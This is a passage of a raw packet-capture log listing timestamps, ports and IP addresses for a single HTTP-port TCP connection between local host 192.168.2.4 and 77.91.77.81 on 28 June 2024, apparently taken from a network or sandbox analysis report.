Jun 28, 2024 22:32:13.889183044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889193058 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889202118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889206886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889235973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889235973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.889769077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889839888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889849901 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889977932 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889987946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.889997959 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890002012 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890013933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890024900 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890038013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890038013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890142918 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890153885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890162945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890171051 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890189886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890254021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890263081 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890269041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890274048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890281916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890337944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890450954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890460968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890469074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890479088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890487909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890495062 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890499115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890510082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890520096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.890525103 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890544891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.890544891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.894601107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911093950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911112070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911120892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911199093 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911209106 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911220074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911225080 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911235094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911247969 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911256075 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911326885 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911336899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911345005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911353111 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911364079 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911428928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911438942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911448956 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911454916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911498070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911498070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911571026 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911581993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911591053 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911600113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911608934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911633968 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911731958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911741972 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911751986 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911761045 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911762953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911776066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911777020 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911793947 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911802053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911804914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911814928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911824942 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.911829948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.911837101 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912023067 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912034988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912050962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912051916 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912061930 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912072897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912075996 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912082911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912094116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912101984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912110090 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912117958 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912271023 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912297964 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912441015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912451982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912461996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912472010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912494898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912504911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912504911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912514925 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912514925 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912528038 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912539959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912542105 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912568092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912736893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912745953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912766933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912883043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912893057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912903070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912909985 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912918091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912929058 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912938118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912942886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912942886 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912949085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912960052 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912971973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912971973 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912985086 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.912985086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.912996054 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913008928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913012028 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913012028 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913055897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913055897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913378000 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913394928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913405895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913415909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913425922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913435936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913444996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913451910 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913455963 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913466930 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913470030 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913477898 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913490057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913490057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913503885 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913785934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913798094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913808107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913815022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913819075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913830042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.913835049 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913856983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913856983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.913991928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914004087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914014101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914020061 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914026976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914037943 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914042950 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914051056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914061069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914063931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914063931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914072990 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914083004 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.914098978 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914138079 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.914138079 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979243994 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979285002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979294062 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979342937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979343891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979352951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979363918 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979367971 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979382992 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979468107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979479074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979492903 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979929924 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979957104 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.979968071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.979978085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980130911 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980140924 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980150938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980155945 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980174065 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980178118 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980190992 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980206013 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980236053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980236053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980571032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980587006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980596066 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980660915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980671883 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980681896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980685949 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980693102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980712891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980716944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980716944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980737925 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980752945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980839014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980848074 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980856895 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.980864048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.980881929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981015921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981025934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981030941 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981061935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981070042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981070042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981075048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981086969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981098890 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981126070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981126070 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981216908 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981228113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981239080 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981249094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981256008 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981261969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.981275082 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981307983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.981307983 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002084017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002094984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002104998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002160072 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002171040 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002180099 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002180099 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002182007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002192974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002208948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002208948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002274990 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002607107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002619028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002628088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002639055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002654076 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002717018 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002728939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002737999 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002743959 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002748966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002759933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002763033 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002777100 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002923012 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002934933 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002950907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002954006 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002963066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.002966881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002978086 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.002991915 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003020048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003020048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003065109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003078938 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003096104 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003106117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003115892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003142118 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003232002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003259897 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003330946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003346920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003359079 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003369093 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003370047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003381014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003391981 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003402948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003405094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003405094 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003412962 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003422976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003437042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003437042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003709078 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003719091 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003736019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003736019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003827095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003837109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003848076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003851891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003860950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003869057 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003873110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003884077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003892899 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.003895044 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.003916979 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004096985 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004107952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004117966 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004127979 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004137993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004144907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004144907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004149914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004162073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004167080 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004173040 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004179955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004189014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004199982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004200935 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004216909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004216909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004426003 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004455090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004472971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004492044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004518032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:14.004600048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:14.004611969 CEST	80	49732	77.91.77.81	192.168.2.4
